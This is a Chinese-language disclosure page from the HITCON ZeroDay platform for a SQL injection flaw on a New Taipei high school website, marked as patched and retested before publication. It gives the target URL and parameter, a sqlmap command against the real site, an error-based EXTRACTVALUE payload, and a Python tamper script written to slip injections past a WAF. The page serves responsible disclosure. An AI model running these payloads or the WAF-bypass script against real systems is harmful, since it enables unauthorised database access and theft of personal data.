新北市崇義高級中學 資料庫注入漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2024-00418
  •  發信 Vendor: TACERT台灣學術網路危機處理中心
  • Title: 新北市崇義高級中學 資料庫注入漏洞
  • Introduction: 資料庫注入漏洞

處理狀態

目前狀態

公開
Last Update : 2024/06/02
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2024/04/21 00:37:06 : 新提交 (由 chocola5655 更新此狀態)
  • 2024/04/21 00:38:18 : 新提交 (由 chocola5655 更新此狀態)
  • 2024/04/21 00:38:29 : 新提交 (由 chocola5655 更新此狀態)
  • 2024/04/21 00:38:35 : 新提交 (由 chocola5655 更新此狀態)
  • 2024/04/22 13:44:58 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/05/07 19:55:48 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/05/07 19:55:48 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/05/29 11:45:26 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2024/05/29 22:34:23 : 確認已修補 (由 chocola5655 更新此狀態)
  • 2024/06/02 03:00:11 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2024-00418
  • 通報者:ludi2320531 (chocola5655)
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.tyhs.ntpc.edu.tw/administration_newsdetial.php?type_id=20&p_id=17

敘述

payload

sqlmap -u "https://www.tyhs.ntpc.edu.tw/administration_newsdetial.php?type_id=20&p_id=17" --dbs --batch --tamper WAF

注入類型

Parameter: p_id (GET)
    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: type_id=20&p_id=17 AND EXTRACTVALUE(1507,CONCAT(0x5c,0x71716b6a71,(SELECT (ELT(1507=1507,1))),0x71707a7a71))

WAF腳本

#!/usr/bin/env python
def dependencies():
    pass
def tamper(payload:str, **kwargs):

    CrucialString=[
        'DATABASE()','FROM','schema_name','INFORMATION_SCHEMA.SCHEMATA','table_name',
        'INFORMATION_SCHEMA.TABLES','table_schema','column_name','INFORMATION_SCHEMA.COLUMNS'
    ]
    if payload:
        if 'UNION' in payload:
            payload=payload.replace('UNION','/*!--%20-%0AuNiOn%23a%0A*/')
            if payload.startswith('42 '):
                payload=payload.replace('42 ','42 and 0 ')

        for i in CrucialString:
            if i in payload:
                payload=payload.replace(i,f'/*!50000{i}%23a%0A*/')

        if '-- ' in payload:
            payload=payload.replace('-- ','--%20')

    return payload.replace(' ','/**/')

圖片

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;